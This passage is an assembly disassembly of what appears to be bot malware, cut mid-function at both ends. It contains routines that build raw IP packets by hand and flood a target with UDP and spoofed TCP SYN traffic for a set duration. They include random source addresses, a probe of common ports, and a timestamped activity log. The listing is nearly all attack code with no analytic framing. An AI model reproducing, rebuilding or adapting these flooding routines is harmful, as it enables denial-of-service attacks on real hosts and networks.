		lea	eax, [ebp+var_A8]
		push	598h
		push	eax
		call	sub_415135
		add	esp, 20h
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_74]
		push	10h
		push	eax
		push	0
		push	esi
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+var_8]
		call	dword_4CE36C	; sendto
		inc	[ebp+var_4]
		jmp	loc_415297
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_41523E+71j
		push	[ebp+var_8]
		call	dword_4CE3A0	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41523E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415478	proc near		; DATA XREF: sub_401AA1+4BD2o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4154EE
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_439EE0
		push	eax
		call	sub_41BEF6
		add	esp, 220h
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	0
		call	dword_4280D4	; ExitThread
sub_415478	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154EE	proc near		; CODE XREF: sub_415478+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4CE388	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_41552C
		lea	eax, [ebp+var_254]
		push	offset unk_43A0D8
		push	eax
		call	sub_41BEF6
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4157F2
; ---------------------------------------------------------------------------


loc_41552C:				; CODE XREF: sub_4154EE+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4CE2E8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415558
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		push	offset unk_43A088
		jmp	short loc_415573
; ---------------------------------------------------------------------------


loc_415558:				; CODE XREF: sub_4154EE+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415587
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		push	offset unk_43A040


loc_415573:				; CODE XREF: sub_4154EE+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_4157F2
; ---------------------------------------------------------------------------


loc_415587:				; CODE XREF: sub_4154EE+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4CE308	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_428208	; inet_addr
		mov	esi, dword_4280B0
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_43A014
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4155F0
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_4155F0:				; CODE XREF: sub_4154EE+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41BDE9
		cmp	esi, eax
		pop	ecx
		ja	loc_4157A9
		mov	esi, 41Ch
		jmp	short loc_415624
; ---------------------------------------------------------------------------


loc_41561F:				; CODE XREF: sub_4154EE+2B5j
		mov	ebx, 0FFh


loc_415624:				; CODE XREF: sub_4154EE+12Fj
		cmp	dword_4D1A8C, edi
		jnz	short loc_41567C
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE2AC	; getsockname
		push	ebx
		push	1
		call	sub_418D19
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41BEF6
		add	esp, 20h
		jmp	short loc_41568C
; ---------------------------------------------------------------------------


loc_41567C:				; CODE XREF: sub_4154EE+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4D1470
		push	eax
		call	sub_41C520
		pop	ecx
		pop	ecx


loc_41568C:				; CODE XREF: sub_4154EE+18Cj
		push	esi
		mov	byte_4D1670, 45h
		call	dword_4CE308	; ntohs
		mov	word_4D1672, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4D1674, 1
		mov	word_4D1676, di
		mov	byte_4D1678, 80h
		mov	byte_4D1679, 11h
		mov	word_4D167A, di
		call	dword_4CE348	; inet_addr
		mov	dword_4D167C, eax
		mov	eax, [ebp+var_20]
		mov	dword_4D1680, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4D168A, di
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jnz	short loc_415704
		call	sub_41BF52
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_415712
; ---------------------------------------------------------------------------


loc_415704:				; CODE XREF: sub_4154EE+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41BDE9
		pop	ecx
		push	eax


loc_415712:				; CODE XREF: sub_4154EE+214j
		call	dword_4CE308	; ntohs
		mov	word_4D1686, ax
		call	sub_41BF52
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4D1684, dx
		call	dword_4CE308	; ntohs
		push	400h
		mov	word_4D1688, ax
		call	sub_41BF52
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4D168C
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4D1670
		push	[ebp+var_C]
		call	dword_4CE36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_415821
		inc	[ebp+var_4]
		call	dword_4280B0	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41BDE9
		cmp	ebx, eax
		pop	ecx
		jbe	loc_41561F


loc_4157A9:				; CODE XREF: sub_4154EE+124j
		push	[ebp+var_C]
		call	dword_4CE3A0	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41BDE9
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_439FB0
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch


loc_4157F2:				; CODE XREF: sub_4154EE+39j
					; sub_4154EE+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_41581A
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41581A:				; CODE XREF: sub_4154EE+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415821:				; CODE XREF: sub_4154EE+289j
		push	[ebp+var_4]
		push	esi
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_439F20
		push	eax
		call	sub_41BEF6
		add	esp, 18h
		jmp	short loc_4157F2
sub_4154EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415846	proc near		; DATA XREF: sub_401AA1+6243o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41BDE9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_41BDE9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4CE348	; inet_addr
		push	eax
		call	sub_4159E0
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_43A104
		push	eax
		call	sub_41BEF6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4158D8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409743
		add	esp, 14h


loc_4158D8:				; CODE XREF: sub_415846+70j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_415846	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158F7	proc near		; CODE XREF: sub_4159E0+184p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_415920
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428210	; connect
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415920:				; CODE XREF: sub_4158F7+13j
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	eax
		inc	edi
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4281F8	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CE2B0	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4CE2F0	; select
		test	eax, eax
		jnz	short loc_415984
		or	eax, 0FFFFFFFFh
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_415984:				; CODE XREF: sub_4158F7+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_41598F


loc_41598B:				; CODE XREF: sub_4158F7+B8j
					; sub_4158F7+DCj
		mov	eax, edi
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_41598F:				; CODE XREF: sub_4158F7+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426E00	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4159B1
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_426E00	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41598B


loc_4159B1:				; CODE XREF: sub_4158F7+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4281E0	; getsockopt
		cmp	eax, edi
		jz	short loc_41598B
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_4159DC:				; CODE XREF: sub_4158F7+24j
					; sub_4158F7+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4158F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4159E0	proc near		; CODE XREF: sub_415846+51p

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		xor	eax, eax
		push	ebx
		push	esi
		inc	eax
		push	edi
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		mov	[ebp+var_10], eax
		pop	esi
		push	esi
		push	2
		call	dword_4281DC	; WSASocketA
		lea	ecx, [ebp+var_10]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4D1AF0, eax
		call	dword_4CE2E8	; setsockopt
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_FC]
		pop	ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_78], ecx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_100], ebx
		mov	[ebp+var_18], esi
		mov	[ebp+var_88], 401h
		mov	[ebp+var_84], 15h
		mov	[ebp+var_80], 16h
		mov	[ebp+var_7C], 17h
		mov	[ebp+var_74], 35h
		mov	[ebp+var_70], 50h
		mov	[ebp+var_6C], 51h
		mov	[ebp+var_68], 58h
		mov	[ebp+var_64], 6Eh
		mov	[ebp+var_60], 71h
		mov	[ebp+var_5C], 77h
		mov	[ebp+var_58], 87h
		mov	[ebp+var_54], 89h
		mov	[ebp+var_50], 8Bh
		mov	[ebp+var_4C], 8Fh
		mov	[ebp+var_48], 1BBh
		mov	[ebp+var_44], 1BDh
		mov	[ebp+var_40], 400h
		mov	[ebp+var_3C], 599h
		mov	[ebp+var_38], 5DCh
		mov	[ebp+var_34], 6B8h
		mov	[ebp+var_30], 0CEAh
		mov	[ebp+var_2C], 0D3Dh
		mov	[ebp+var_28], 1388h
		mov	[ebp+var_24], 1A0Bh
		mov	[ebp+var_20], 1F40h
		mov	[ebp+var_1C], 1F90h
		mov	[ebp+var_C], ebx
		rep stosd
		mov	[ebp+var_14], 0BB8h
		xor	esi, esi


loc_415B1E:				; CODE XREF: sub_4159E0+1ACj
		mov	eax, [ebp+arg_0]
		lea	edi, [ebp+esi+var_88]
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		mov	ax, [edi]
		push	eax
		call	dword_4CE308	; ntohs
		push	ebx
		push	1
		push	2
		mov	[ebp+var_96], ax
		call	dword_4CE388	; socket
		lea	ecx, [ebp+var_18]
		mov	[ebp+var_8], eax
		push	ecx
		lea	ecx, [ebp+var_98]
		push	10h
		push	ecx
		push	eax
		call	sub_4158F7
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	dword_4CE3A0	; closesocket
		cmp	[ebp+var_4], ebx
		jnz	short loc_415B86
		mov	eax, [edi]
		mov	[ebp+esi+var_108], eax


loc_415B86:				; CODE XREF: sub_4159E0+19Bj
		add	esi, 4
		cmp	esi, 70h
		jl	short loc_415B1E
		mov	esi, offset dword_4D1AF8
		push	offset asc_42F5E8 ; " "
		push	esi
		call	sub_41BEF6
		mov	edi, dword_4280B0
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ebx


loc_415BAE:				; CODE XREF: sub_4159E0+225j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415C07
		mov	eax, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_108]
		cmp	eax, ebx
		jz	short loc_415BE4
		push	eax
		push	esi
		push	offset aSD	; "%s%d	"
		push	esi
		mov	[ebp+var_C], eax
		call	sub_41BEF6
		add	esp, 10h
		jmp	short loc_415BFE
; ---------------------------------------------------------------------------


loc_415BE4:				; CODE XREF: sub_4159E0+1EDj
		push	0FFFFh
		push	ebx
		call	sub_418D19
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CE308	; ntohs
		movzx	eax, ax
		mov	[ebp+var_C], eax


loc_415BFE:				; CODE XREF: sub_4159E0+202j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 1Ch
		jl	short loc_415BAE


loc_415C07:				; CODE XREF: sub_4159E0+1DFj
					; sub_4159E0+45Ej
		push	28h
		push	ebx
		push	offset byte_4D1A94
		call	sub_41BC00
		mov	esi, 0FFFFh
		mov	byte_4D1A94, 45h
		push	esi
		push	400h
		mov	byte_4D1A9D, 6
		mov	byte_4D1A95, 8
		call	sub_418D19
		add	esp, 14h
		push	eax
		call	dword_4CE308	; ntohs
		push	28h
		mov	word_4D1A98, ax
		call	dword_4CE308	; ntohs
		or	byte_4D1A9C, 0FFh
		cmp	dword_4D1A8C, ebx
		mov	word_4D1A96, ax
		mov	word_4D1A9A, bx
		jnz	short loc_415C87
		push	0FFFEh
		push	1
		call	sub_418D19
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_415C92
; ---------------------------------------------------------------------------


loc_415C87:				; CODE XREF: sub_4159E0+28Bj
		push	offset dword_4D1470
		call	dword_4CE348	; inet_addr


loc_415C92:				; CODE XREF: sub_4159E0+2A5j
		mov	dword_4D1AA0, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4D1AA4, eax
		mov	byte_4D1AB5, bl
		call	dword_4CE308	; ntohs
		push	esi
		push	ebx
		mov	word_4D1AB6, ax
		call	sub_418D19
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418D19
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4CE304	; ntohl
		mov	dword_4D1AAC, eax
		mov	al, byte_4D1AB4
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4D1AB4, al
		mov	ax, word ptr [ebp+var_C]
		mov	dword_4D1AB0, ebx
		mov	word_4D1ABA, bx
		mov	word_4D1AAA, ax
		mov	dword_4D1AD0, edi
		mov	byte_4D1AD4, bl
		mov	byte_4D1AD5, 6
		call	dword_4CE308	; ntohs
		mov	word_4D1AD6, ax
		mov	ax, word_4D1AAA
		mov	word_4D1ABC, 2
		mov	dword_4D1AC0, edi
		mov	word_4D1ABE, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_415D48
; ---------------------------------------------------------------------------


loc_415D43:				; CODE XREF: sub_4159E0+438j
		mov	esi, 0FFFFh


loc_415D48:				; CODE XREF: sub_4159E0+361j
		cmp	[ebp+var_4], ebx
		push	esi
		push	ebx
		jnz	short loc_415D7C
		call	sub_418D19
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CE308	; ntohs
		mov	word_4D1AA8, ax
		mov	eax, dword_4D1AA0
		mov	dword_4D1ACC, eax
		mov	byte_4D1AB5, 2
		mov	dword_4D1AB0, ebx
		jmp	short loc_415D99
; ---------------------------------------------------------------------------


loc_415D7C:				; CODE XREF: sub_4159E0+36Dj
		mov	byte_4D1AB5, 10h
		call	sub_418D19
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CE308	; ntohs
		movzx	eax, ax
		mov	dword_4D1AB0, eax


loc_415D99:				; CODE XREF: sub_4159E0+39Aj
		inc	word_4D1A98
		inc	dword_4D1AAC
		mov	ax, word_4D1AAA
		push	5
		pop	ecx
		mov	esi, offset word_4D1AA8
		mov	edi, offset dword_4D1AD8
		mov	word_4D1A9E, bx
		mov	word_4D1AB8, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4D1A94
		mov	word_4D1ABE, ax
		push	esi
		call	sub_40A92E
		push	20h
		push	offset dword_4D1ACC
		mov	word_4D1A9E, ax
		call	sub_40A92E
		add	esp, 10h
		mov	word_4D1AB8, ax
		push	10h
		push	offset word_4D1ABC
		push	ebx
		push	28h
		push	esi
		push	dword_4D1AF0
		call	dword_4CE36C	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_415D43
		call	dword_4280B0	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415E43
		push	[ebp+arg_8]
		call	dword_428080	; Sleep
		jmp	loc_415C07
; ---------------------------------------------------------------------------


loc_415E43:				; CODE XREF: sub_4159E0+453j
		pop	edi
		pop	esi
		mov	eax, offset dword_4D1AF8
		pop	ebx
		leave
		retn
sub_4159E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E4D	proc near		; CODE XREF: sub_401AA1+7072p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4404C8
		mov	edi, 0B8h


loc_415E61:				; CODE XREF: sub_415E4D+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415E84
		push	[ebp+arg_0]
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415E84
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_441048
		jl	short loc_415E61
		jmp	short loc_415EC6
; ---------------------------------------------------------------------------


loc_415E84:				; CODE XREF: sub_415E4D+17j
					; sub_415E4D+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4404C8[esi]
		push	ebx
		call	sub_41BC00
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BC60
		push	9Fh
		lea	eax, dword_4404E0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BC60
		add	esp, 24h
		inc	dword_42AE00
		pop	ebx


loc_415EC6:				; CODE XREF: sub_415E4D+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415E4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415ECD	proc near		; CODE XREF: sub_401AA1+2857p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43A14C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4404C8


loc_415EF7:				; CODE XREF: sub_415ECD+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415F32
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43A138
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41BFF0
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 2Ch


loc_415F32:				; CODE XREF: sub_415ECD+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_441048
		jl	short loc_415EF7
		pop	edi
		pop	esi
		leave
		retn
sub_415ECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F45	proc near		; CODE XREF: sub_40121E+372p
					; sub_40121E+3F3p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_428144	; GetLocalTime
		mov	ebx, offset dword_4D5EF8
		mov	edi, 80h
		mov	esi, offset dword_4D1EF8


loc_415F67:				; CODE XREF: sub_415F45+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415F7E
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_415F7E:				; CODE XREF: sub_415F45+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415F67
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41BFF0
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415F45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FB9	proc near		; CODE XREF: sub_4017BF+F7p
					; sub_401AA1:loc_408896p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C800
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415F45
		add	esp, 14h
		leave
		retn
sub_415FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FE5	proc near		; CODE XREF: sub_401AA1+274Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D1EF8
		xor	ecx, ecx


loc_415FEC:				; CODE XREF: sub_415FE5+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D5EF8
		jl	short loc_415FEC
		cmp	[esp+arg_C], ecx
		jnz	short loc_41601A
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43A198
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41601A:				; CODE XREF: sub_415FE5+19j
		push	offset dword_43A184
		call	sub_415F45
		pop	ecx
		retn
sub_415FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_416026	proc near		; CODE XREF: .XPack0:0040E0F2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4D1EF8


loc_41602C:				; CODE XREF: sub_416026+27j
		cmp	byte ptr [esi],	0
